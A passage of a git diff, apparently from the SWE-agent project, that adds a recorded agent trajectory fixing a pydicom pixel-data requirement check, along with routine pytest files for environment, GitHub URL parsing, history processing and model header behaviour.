actual_length > padded_expected_len:\n324: # PS 3.5, Section 8.1.1\n325: msg = (\n326: \"The length of the pixel data in the dataset ({} bytes) indicates \"\n327: \"it contains excess padding. {} bytes will be removed from the \"\n328: \"end of the data\"\n329: .format(actual_length, actual_length - expected_len)\n330: )\n331: # PS 3.3, Annex C.7.6.3\n332: if ds.PhotometricInterpretation == 'YBR_FULL_422':\n333: # Check to ensure we do have subsampled YBR 422 data\n334: ybr_full_length = expected_len / 2 * 3 + expected_len / 2 * 3 % 2\n335: # >= as may also include excess padding\n336: if actual_length >= ybr_full_length:\n337: msg = (\n338: \"The Photometric Interpretation of the dataset is \"\n339: \"YBR_FULL_422, however the length of the pixel data \"\n340: \"({} bytes) is a third larger than expected ({} bytes) \"\n341: \"which indicates that this may be incorrect. You may \"\n342: \"need to change the Photometric Interpretation to \"\n343: \"the correct value.\".format(actual_length, expected_len)\n344: )\n345: warnings.warn(msg)\n346:\n347: # Unpack the pixel data into a 1D ndarray\n348: if ds.BitsAllocated == 1:\n349: # Skip any trailing padding bits\n350: nr_pixels = get_expected_length(ds, unit='pixels')\n351: arr = unpack_bits(pixel_data)[:nr_pixels]\n352: else:\n353: # Skip the trailing padding byte(s) if present\n354: dtype = pixel_dtype(ds, as_float=('Float' in px_keyword[0]))\n355: arr = np.frombuffer(pixel_data[:expected_len], dtype=dtype)\n356: if ds.PhotometricInterpretation == 'YBR_FULL_422':\n357: # PS3.3 C.7.6.3.1.2: YBR_FULL_422 data needs to be resampled\n358: # Y1 Y2 B1 R1 -> Y1 B1 R1 Y2 B1 R1\n359: out = np.zeros(expected_len // 2 * 3, dtype=dtype)\n360: out[::6] = arr[::4] # Y1\n361: out[3::6] = arr[1::4] # Y2\n362: out[1::6], out[4::6] = arr[2::4], arr[2::4] # B\n363: out[2::6], out[5::6] = arr[3::4], arr[3::4] # R\n364: arr = out\n365:\n366: if should_change_PhotometricInterpretation_to_RGB(ds):\n367: ds.PhotometricInterpretation = \"RGB\"\n368:\n369: if not read_only and ds.BitsAllocated > 1:\n370: return cast(\"np.ndarray\", arr.copy())\n371:\n372: return cast(\"np.ndarray\", arr)\n\n(Open file: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The section of code that checks for required elements includes 'PixelRepresentation' as a required attribute. However, according to the issue, 'PixelRepresentation' should not be required for Float Pixel Data or Double Float Pixel Data. We need to modify this check to exclude 'PixelRepresentation' from the list of required elements when 'FloatPixelData' or 'DoubleFloatPixelData' is present in the dataset.\n\nLet's edit the code to implement this logic.\n\n```\nedit 287:295\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n```", + "thought": "The section of code that checks for required elements includes 'PixelRepresentation' as a required attribute. However, according to the issue, 'PixelRepresentation' should not be required for Float Pixel Data or Double Float Pixel Data. We need to modify this check to exclude 'PixelRepresentation' from the list of required elements when 'FloatPixelData' or 'DoubleFloatPixelData' is present in the dataset.\n\nLet's edit the code to implement this logic.\n\n", + "action": "edit 287:295\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n", + "agent": "primary" + }, + { + "role": "user", + "content": "Your proposed edit has introduced new syntax error(s). Please understand the fixes and retry your edit commmand.\n\nERRORS:\n- E999 SyntaxError: unmatched ']'\n\nThis is how your edit would have looked if applied\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (373 lines total)]\n(281 more lines above)\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n288: ]\n289: if 'PixelData' in ds:\n290: required_elements.append('PixelRepresentation')\n291: missing = [elem for elem in required_elements if elem not in ds]\n292: if missing:\n293: raise AttributeError(\n294: \"Unable to convert the pixel data as the following required \"\n295: \"elements are missing from the dataset: \" + \", \".join(missing)\n296: )\n297: )\n298:\n299: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n300: pixel_data = getattr(ds, px_keyword[0])\n301:\n(72 more lines below)\n-------------------------------------------------\n\nThis is the original code before your edit\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (372 lines total)]\n(281 more lines above)\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n289: 'SamplesPerPixel', 'PhotometricInterpretation'\n290: ]\n291: missing = [elem for elem in required_elements if elem not in ds]\n292: if missing:\n293: raise AttributeError(\n294: \"Unable to convert the pixel data as the following required \"\n295: \"elements are missing from the dataset: \" + \", \".join(missing)\n296: )\n297:\n298: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n299: pixel_data = getattr(ds, px_keyword[0])\n300:\n(72 more lines below)\n-------------------------------------------------\nYour changes have NOT been applied. Please fix your edit command and try again.\nYou either need to 1) Specify the correct start/end line arguments or 2) Correct your edit code.\nDO NOT re-run the same failed edit command. Running it again will lead to the same error.\n\n(Open file: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "It seems there was a syntax error in the edit due to an unmatched ']' character. I will correct the syntax and try the edit command again.\n\n```\nedit 287:295\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n```", + "thought": "It seems there was a syntax error in the edit due to an unmatched ']' character. I will correct the syntax and try the edit command again.\n\n", + "action": "edit 287:295\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n", + "agent": "primary" + }, + { + "role": "user", + "content": "Your proposed edit has introduced new syntax error(s). Please understand the fixes and retry your edit commmand.\n\nERRORS:\n- E999 SyntaxError: unmatched ')'\n\nThis is how your edit would have looked if applied\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (374 lines total)]\n(280 more lines above)\n281: raise AttributeError(\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n289: ]\n290: if 'PixelData' in ds:\n291: required_elements.append('PixelRepresentation')\n292: missing = [elem for elem in required_elements if elem not in ds]\n293: if missing:\n294: raise AttributeError(\n295: \"Unable to convert the pixel data as the following required \"\n296: \"elements are missing from the dataset: \" + \", \".join(missing)\n297: )\n298: )\n299:\n300: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n301: pixel_data = getattr(ds, px_keyword[0])\n(73 more lines below)\n-------------------------------------------------\n\nThis is the original code before your edit\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (372 lines total)]\n(281 more lines above)\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n289: 'SamplesPerPixel', 'PhotometricInterpretation'\n290: ]\n291: missing = [elem for elem in required_elements if elem not in ds]\n292: if missing:\n293: raise AttributeError(\n294: \"Unable to convert the pixel data as the following required \"\n295: \"elements are missing from the dataset: \" + \", \".join(missing)\n296: )\n297:\n298: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n299: pixel_data = getattr(ds, px_keyword[0])\n300:\n(72 more lines below)\n-------------------------------------------------\nYour changes have NOT been applied. Please fix your edit command and try again.\nYou either need to 1) Specify the correct start/end line arguments or 2) Correct your edit code.\nDO NOT re-run the same failed edit command. Running it again will lead to the same error.\n\n(Open file: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "It appears there was another syntax error due to an unmatched parenthesis. I will correct the syntax and try the edit command again.\n\n```\nedit 287:295\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n```", + "thought": "It appears there was another syntax error due to an unmatched parenthesis. I will correct the syntax and try the edit command again.\n\n", + "action": "edit 287:295\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n", + "agent": "primary" + }, + { + "role": "user", + "content": "Your proposed edit has introduced new syntax error(s). Please understand the fixes and retry your edit commmand.\n\nERRORS:\n- E999 SyntaxError: unmatched ')'\n\nThis is how your edit would have looked if applied\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (374 lines total)]\n(280 more lines above)\n281: raise AttributeError(\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n289: ]\n290: if 'PixelData' in ds:\n291: required_elements.append('PixelRepresentation')\n292: missing = [elem for elem in required_elements if elem not in ds]\n293: if missing:\n294: raise AttributeError(\n295: \"Unable to convert the pixel data as the following required \"\n296: \"elements are missing from the dataset: \" + \", \".join(missing)\n297: )\n298: )\n299:\n300: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n301: pixel_data = getattr(ds, px_keyword[0])\n(73 more lines below)\n-------------------------------------------------\n\nThis is the original code before your edit\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (372 lines total)]\n(281 more lines above)\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n289: 'SamplesPerPixel', 'PhotometricInterpretation'\n290: ]\n291: missing = [elem for elem in required_elements if elem not in ds]\n292: if missing:\n293: raise AttributeError(\n294: \"Unable to convert the pixel data as the following required \"\n295: \"elements are missing from the dataset: \" + \", \".join(missing)\n296: )\n297:\n298: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n299: pixel_data = getattr(ds, px_keyword[0])\n300:\n(72 more lines below)\n-------------------------------------------------\nYour changes have NOT been applied. Please fix your edit command and try again.\nYou either need to 1) Specify the correct start/end line arguments or 2) Correct your edit code.\nDO NOT re-run the same failed edit command. Running it again will lead to the same error.\n\n(Open file: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "It seems there was a mistake in the previous edit attempts. I will carefully review the code and ensure the syntax is correct before submitting the edit command again.\n\n```\nedit 287:296\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n```", + "thought": "It seems there was a mistake in the previous edit attempts. I will carefully review the code and ensure the syntax is correct before submitting the edit command again.\n\n", + "action": "edit 287:296\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n", + "agent": "primary" + }, + { + "role": "user", + "content": "[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (373 lines total)]\n(236 more lines above)\n237: ----------\n238: ds : Dataset\n239: The :class:`Dataset` containing an Image Pixel, Floating Point Image\n240: Pixel or Double Floating Point Image Pixel module and the\n241: *Pixel Data*, *Float Pixel Data* or *Double Float Pixel Data* to be\n242: converted. If (0028,0004) *Photometric Interpretation* is\n243: `'YBR_FULL_422'` then the pixel data will be\n244: resampled to 3 channel data as per Part 3, :dcm:`Annex C.7.6.3.1.2\n245: ` of the DICOM Standard.\n246: read_only : bool, optional\n247: If ``False`` (default) then returns a writeable array that no longer\n248: uses the original memory. If ``True`` and the value of (0028,0100)\n249: *Bits Allocated* > 1 then returns a read-only array that uses the\n250: original memory buffer of the pixel data. If *Bits Allocated* = 1 then\n251: always returns a writeable array.\n252:\n253: Returns\n254: -------\n255: np.ndarray\n256: The contents of (7FE0,0010) *Pixel Data*, (7FE0,0008) *Float Pixel\n257: Data* or (7FE0,0009) *Double Float Pixel Data* as a 1D array.\n258:\n259: Raises\n260: ------\n261: AttributeError\n262: If `ds` is missing a required element.\n263: NotImplementedError\n264: If `ds` contains pixel data in an unsupported format.\n265: ValueError\n266: If the actual length of the pixel data doesn't match the expected\n267: length.\n268: \"\"\"\n269: transfer_syntax = ds.file_meta.TransferSyntaxUID\n270: # The check of transfer syntax must be first\n271: if transfer_syntax not in SUPPORTED_TRANSFER_SYNTAXES:\n272: raise NotImplementedError(\n273: \"Unable to convert the pixel data as the transfer syntax \"\n274: \"is not supported by the numpy pixel data handler.\"\n275: )\n276:\n277: # Check required elements\n278: keywords = ['PixelData', 'FloatPixelData', 'DoubleFloatPixelData']\n279: px_keyword = [kw for kw in keywords if kw in ds]\n280: if len(px_keyword) != 1:\n281: raise AttributeError(\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n289: ]\n290: if 'PixelData' in ds:\n291: required_elements.append('PixelRepresentation')\n292: missing = [elem for elem in required_elements if elem not in ds]\n293: if missing:\n294: raise AttributeError(\n295: \"Unable to convert the pixel data as the following required \"\n296: \"elements are missing from the dataset: \" + \", \".join(missing)\n297: )\n298:\n299: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n300: pixel_data = getattr(ds, px_keyword[0])\n301:\n302: # Calculate the expected length of the pixel data (in bytes)\n303: # Note: this does NOT include the trailing null byte for odd length data\n304: expected_len = get_expected_length(ds)\n305:\n306: # Check that the actual length of the pixel data is as expected\n307: actual_length = len(pixel_data)\n308:\n309: # Correct for the trailing NULL byte padding for odd length data\n310: padded_expected_len = expected_len + expected_len % 2\n311: if actual_length < padded_expected_len:\n312: if actual_length == expected_len:\n313: warnings.warn(\n314: \"The odd length pixel data is missing a trailing padding byte\"\n315: )\n316: else:\n317: raise ValueError(\n318: \"The length of the pixel data in the dataset ({} bytes) \"\n319: \"doesn't match the expected length ({} bytes). \"\n320: \"The dataset may be corrupted or there may be an issue \"\n321: \"with the pixel data handler.\"\n322: .format(actual_length, padded_expected_len)\n323: )\n324: elif actual_length > padded_expected_len:\n325: # PS 3.5, Section 8.1.1\n326: msg = (\n327: \"The length of the pixel data in the dataset ({} bytes) indicates \"\n328: \"it contains excess padding. {} bytes will be removed from the \"\n329: \"end of the data\"\n330: .format(actual_length, actual_length - expected_len)\n331: )\n332: # PS 3.3, Annex C.7.6.3\n333: if ds.PhotometricInterpretation == 'YBR_FULL_422':\n334: # Check to ensure we do have subsampled YBR 422 data\n335: ybr_full_length = expected_len / 2 * 3 + expected_len / 2 * 3 % 2\n336: # >= as may also include excess padding\n(37 more lines below)\nFile updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.\n\n(Open file: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The code has been updated to conditionally include 'PixelRepresentation' in the list of required elements only if 'PixelData' is present in the dataset. This should allow the handling of Float Pixel Data or Double Float Pixel Data when the Pixel Representation element is absent.\n\nBefore submitting the changes, it's important to re-run the `reproduce_bug.py` script to ensure that the bug has been fixed and that the `pixel_array` property can now be accessed without an error.\n\n```\npython reproduce_bug.py\n```", + "thought": "The code has been updated to conditionally include 'PixelRepresentation' in the list of required elements only if 'PixelData' is present in the dataset. This should allow the handling of Float Pixel Data or Double Float Pixel Data when the Pixel Representation element is absent.\n\nBefore submitting the changes, it's important to re-run the `reproduce_bug.py` script to ensure that the bug has been fixed and that the `pixel_array` property can now be accessed without an error.\n\n", + "action": "python reproduce_bug.py\n", + "agent": "primary" + }, + { + "role": "user", + "content": "Script completed successfully, no errors. Result: True\n\n(Open file: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The output indicates that the script completed successfully and the result is `True`, which means the `pixel_array` property was accessed without error and the arrays are equal. This suggests that the bug has been fixed.\n\nNow that the issue is resolved, we can clean up by removing the `reproduce_bug.py` script since it is no longer needed.\n\n```\nrm reproduce_bug.py\n```", + "thought": "The output indicates that the script completed successfully and the result is `True`, which means the `pixel_array` property was accessed without error and the arrays are equal. This suggests that the bug has been fixed.\n\nNow that the issue is resolved, we can clean up by removing the `reproduce_bug.py` script since it is no longer needed.\n\n", + "action": "rm reproduce_bug.py\n", + "agent": "primary" + }, + { + "role": "user", + "content": "Your command ran successfully and did not produce any output.\n(Open file: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The `reproduce_bug.py` script has been successfully removed. With the bug fixed and the cleanup complete, we can now submit the changes to the code base. Let's proceed with the submission using the `submit` command.\n\n```\nsubmit\n```", + "thought": "The `reproduce_bug.py` script has been successfully removed. With the bug fixed and the cleanup complete, we can now submit the changes to the code base. Let's proceed with the submission using the `submit` command.\n\n", + "action": "submit\n", + "agent": "primary" + } + ], + "info": { + "exit_status": "submitted", + "submission": "\ndiff --git a/pydicom/pixel_data_handlers/numpy_handler.py b/pydicom/pixel_data_handlers/numpy_handler.py\nindex 8e8d319ae..6a1221b72 100644\n--- a/pydicom/pixel_data_handlers/numpy_handler.py\n+++ b/pydicom/pixel_data_handlers/numpy_handler.py\n@@ -285,9 +285,10 @@ def get_pixeldata(ds: \"Dataset\", read_only: bool = False) -> \"np.ndarray\":\n )\n \n required_elements = [\n- 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n- 'SamplesPerPixel', 'PhotometricInterpretation'\n+ 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n+ if 'PixelData' in ds:\n+ required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n", + "model_stats": { + "total_cost": 1.26719, + "instance_cost": 1.26719, + "tokens_sent": 122612, + "tokens_received": 1369, + "api_calls": 12 + } + } +} \ No newline at end of file diff --git a/tests/test_env.py b/tests/test_env.py new file mode 100644 index 0000000..41e2a16 --- /dev/null +++ b/tests/test_env.py @@ -0,0 +1,66 @@ +from __future__ import annotations + +from pathlib import Path +from unittest import mock + +import pytest +from swerex.exceptions import CommandTimeoutError + +from sweagent.environment.hooks.abstract import EnvHook + +from .conftest import swe_env_context + + +@pytest.mark.slow +def test_init_swe_env(test_env_args): + with swe_env_context(test_env_args): + pass + + +@pytest.mark.slow +def test_init_swe_env_conservative_clone(test_env_args): + with mock.patch.dict("os.environ", {"SWE_AGENT_CLONE_METHOD": "full"}): + with swe_env_context(test_env_args): + pass + + +@pytest.mark.slow +def test_startup_commands(test_env_args): + test_script = "echo 'hello world'" + test_env_args.post_startup_commands = [test_script] + with swe_env_context(test_env_args): + pass + + +@pytest.mark.xfail +@pytest.mark.slow +def test_read_file(tmp_path, test_env_args): + with swe_env_context(test_env_args) as env: + content = env.read_file(Path("tests/filetoread.txt")) + assert content.splitlines()[-1].strip() == "SWEEnv.read_file" + + +@pytest.mark.slow +def test_env_with_hook(test_env_args): + with swe_env_context(test_env_args) as env: + env.add_hook(EnvHook()) + env.reset() + + +@pytest.mark.slow +def test_env_communicate_with_handling(test_env_args): + with swe_env_context(test_env_args) as env: + env.communicate("echo 'hello world'", check="raise", error_msg="Failed to echo") + + +@pytest.mark.slow +def test_env_communicate_with_handling_timeout(test_env_args): + with swe_env_context(test_env_args) as env: + with pytest.raises(CommandTimeoutError): + env.communicate("sleep 10", check="raise", error_msg="Failed to sleep", timeout=0.2) + + +@pytest.mark.slow +def test_env_interrupt_session(test_env_args): + with swe_env_context(test_env_args) as env: + env.interrupt_session() diff --git a/tests/test_env_utils.py b/tests/test_env_utils.py new file mode 100644 index 0000000..c0cc2db --- /dev/null +++ b/tests/test_env_utils.py @@ -0,0 +1,91 @@ +from __future__ import annotations + +import os +import subprocess + +import pytest + +from sweagent.run.hooks.open_pr import _remove_triple_backticks, format_trajectory_markdown +from sweagent.utils.github import ( + InvalidGithubURL, + _get_associated_commit_urls, + _is_github_issue_url, + _is_github_repo_url, + _parse_gh_issue_url, + _parse_gh_repo_url, +) + + +def test_format_trajectory_markdown(test_trajectory): + formatted = format_trajectory_markdown(test_trajectory["trajectory"]) + assert formatted.startswith("
      ") + assert formatted.endswith("
      ") + + +def test_remove_triple_backticks(): + assert _remove_triple_backticks("```") == "" + + +def test_is_github_repo_url(): + assert _is_github_repo_url("https://github.com/SWE-agent/SWE-agent") + assert _is_github_repo_url("https://github.com/SWE-agent/SWE-agent/anything") + assert _is_github_repo_url("github.com/SWE-agent/SWE-agent/anything") + assert not _is_github_repo_url("") + assert not _is_github_repo_url("/path/to/file") + + +def test_parse_gh_repo_url(): + assert _parse_gh_repo_url("https://github.com/SWE-agent/SWE-agent") == ("SWE-agent", "SWE-agent") + assert _parse_gh_repo_url("github.com/SWE-agent/SWE-agent") == ("SWE-agent", "SWE-agent") + assert _parse_gh_repo_url("github.com/SWE-agent/SWE-agent/asdfjsdfg") == ("SWE-agent", "SWE-agent") + assert _parse_gh_repo_url("git@github.com/SWE-agent/SWE-agent/asdfjsdfg") == ("SWE-agent", "SWE-agent") + assert _parse_gh_repo_url("https://github.com/SWE-agent/SWE-agent.git") == ("SWE-agent", "SWE-agent") + assert _parse_gh_repo_url("github.com/SWE-agent/SWE-agent.git") == ("SWE-agent", "SWE-agent") + + +def test_parse_gh_repo_url_fails(): + with pytest.raises(InvalidGithubURL): + _parse_gh_repo_url("adfkj;lasdfl;kj") + with pytest.raises(InvalidGithubURL): + _parse_gh_repo_url("github.com/") + with pytest.raises(InvalidGithubURL): + _parse_gh_repo_url("github.com//a/") + + +def test_parse_gh_issue_url(): + url = "https://github.com/SWE-agent/SWE-agent/issues/43" + owner, repo, no = _parse_gh_issue_url(url) + assert owner == "SWE-agent" + assert repo == "SWE-agent" + assert no == "43" + + +def test_parse_gh_issue_url_fails(): + with pytest.raises(InvalidGithubURL): + _parse_gh_issue_url("https://github.com/a/b") + with pytest.raises(InvalidGithubURL): + _parse_gh_issue_url("https://github.com/a/b////") + + +def test_is_from_github_url(): + assert not _is_github_issue_url("") + assert _is_github_issue_url("https://github.com/SWE-agent/SWE-agent/issues/43") + + +def test_get_associated_commit_urls(): + assoc = _get_associated_commit_urls( + org="SWE-agent", + repo="SWE-agent", + issue_number="41", + token=os.environ.get("GITHUB_TOKEN", ""), + ) + assert len(assoc) > 0 + + +def clone_repo(tmp_path, repo_url): + cmd = [ + "git", + "clone", + repo_url, + ] + subprocess.run(cmd, check=True, cwd=tmp_path) diff --git a/tests/test_history_processors.py b/tests/test_history_processors.py new file mode 100644 index 0000000..2596e5a --- /dev/null +++ b/tests/test_history_processors.py @@ -0,0 +1,40 @@ +import json +from pathlib import Path + +import pytest + +from sweagent.agent.history_processors import LastNObservations, TagToolCallObservations +from sweagent.types import History + + +def get_history(traj_path: Path): + return json.loads((traj_path).read_text())["history"] + + +def count_elided_observations(history: History): + return len([entry for entry in history if "Old environment output" in entry["content"]]) + + +@pytest.fixture +def test_history(test_trajectories_path: Path): + return get_history( + test_trajectories_path + / "gpt4__swe-agent-test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/6e44b9__sweagenttestrepo-1c2844.traj" + ) + + +def test_last_n_observations(test_history: History): + processor = LastNObservations(n=3) + new_history = processor(test_history) + total_observations = len([entry for entry in test_history if entry["message_type"] == "observation"]) + # extra -1 because instance template is kept + expected_elided_observations = total_observations - 3 - 1 + assert count_elided_observations(new_history) == expected_elided_observations + + +def test_add_tag_to_edits(test_history: History): + processor = TagToolCallObservations(tags={"test"}, function_names={"edit"}) + new_history = processor(test_history) + for entry in new_history: + if entry.get("action", "").startswith("edit "): # type: ignore + assert entry.get("tags") == ["test"], entry diff --git a/tests/test_models.py b/tests/test_models.py new file mode 100644 index 0000000..0753f9e --- /dev/null +++ b/tests/test_models.py @@ -0,0 +1,106 @@ +from __future__ import annotations + +from unittest.mock import MagicMock, patch + +from pydantic import SecretStr + +from sweagent import __version__ +from sweagent.agent.models import GenericAPIModelConfig, get_model +from sweagent.tools.parsing import Identity +from sweagent.tools.tools import ToolConfig +from sweagent.types import History + + +def test_litellm_mock(): + model = get_model( + GenericAPIModelConfig( + name="gpt-4o", + completion_kwargs={"mock_response": "Hello, world!"}, + api_key=SecretStr("dummy_key"), + top_p=None, + ), + ToolConfig( + parse_function=Identity(), + ), + ) + assert model.query(History([{"role": "user", "content": "Hello, world!"}])) == {"message": "Hello, world!"} # type: ignore + + +def _make_mock_response(content: str = "mock") -> MagicMock: + """Create a minimal mock response matching litellm's ModelResponse shape.""" + choice = MagicMock() + choice.message.content = content + choice.message.tool_calls = None + response = MagicMock() + response.choices = [choice] + response.usage.prompt_tokens = 10 + response.usage.completion_tokens = 5 + return response + + +def test_user_agent_header_default(): + """User-Agent header is added automatically when no extra_headers are set.""" + model = get_model( + GenericAPIModelConfig( + name="gpt-4o", + api_key=SecretStr("dummy_key"), + top_p=None, + per_instance_cost_limit=0, + total_cost_limit=0, + ), + ToolConfig(parse_function=Identity()), + ) + mock_response = _make_mock_response() + with patch("litellm.completion", return_value=mock_response) as mock_completion: + model.query(History([{"role": "user", "content": "test"}])) + mock_completion.assert_called_once() + call_kwargs = mock_completion.call_args + extra_headers = call_kwargs.kwargs.get("extra_headers", {}) + assert "User-Agent" in extra_headers + assert extra_headers["User-Agent"] == f"swe-agent/{__version__}" + + +def test_user_agent_header_preserves_existing(): + """User-Agent header is not overridden when already provided by the user.""" + custom_ua = "my-custom-agent/1.0" + model = get_model( + GenericAPIModelConfig( + name="gpt-4o", + completion_kwargs={"extra_headers": {"User-Agent": custom_ua}}, + api_key=SecretStr("dummy_key"), + top_p=None, + per_instance_cost_limit=0, + total_cost_limit=0, + ), + ToolConfig(parse_function=Identity()), + ) + mock_response = _make_mock_response() + with patch("litellm.completion", return_value=mock_response) as mock_completion: + model.query(History([{"role": "user", "content": "test"}])) + mock_completion.assert_called_once() + call_kwargs = mock_completion.call_args + extra_headers = call_kwargs.kwargs.get("extra_headers", {}) + assert extra_headers["User-Agent"] == custom_ua + + +def test_user_agent_header_with_other_extra_headers(): + """User-Agent header is added alongside other existing extra_headers.""" + model = get_model( + GenericAPIModelConfig( + name="gpt-4o", + completion_kwargs={"extra_headers": {"X-Custom": "value"}}, + api_key=SecretStr("dummy_key"), + top_p=None, + per_instance_cost_limit=0, + total_cost_limit=0, + ), + ToolConfig(parse_function=Identity()), + ) + mock_response = _make_mock_response() + with 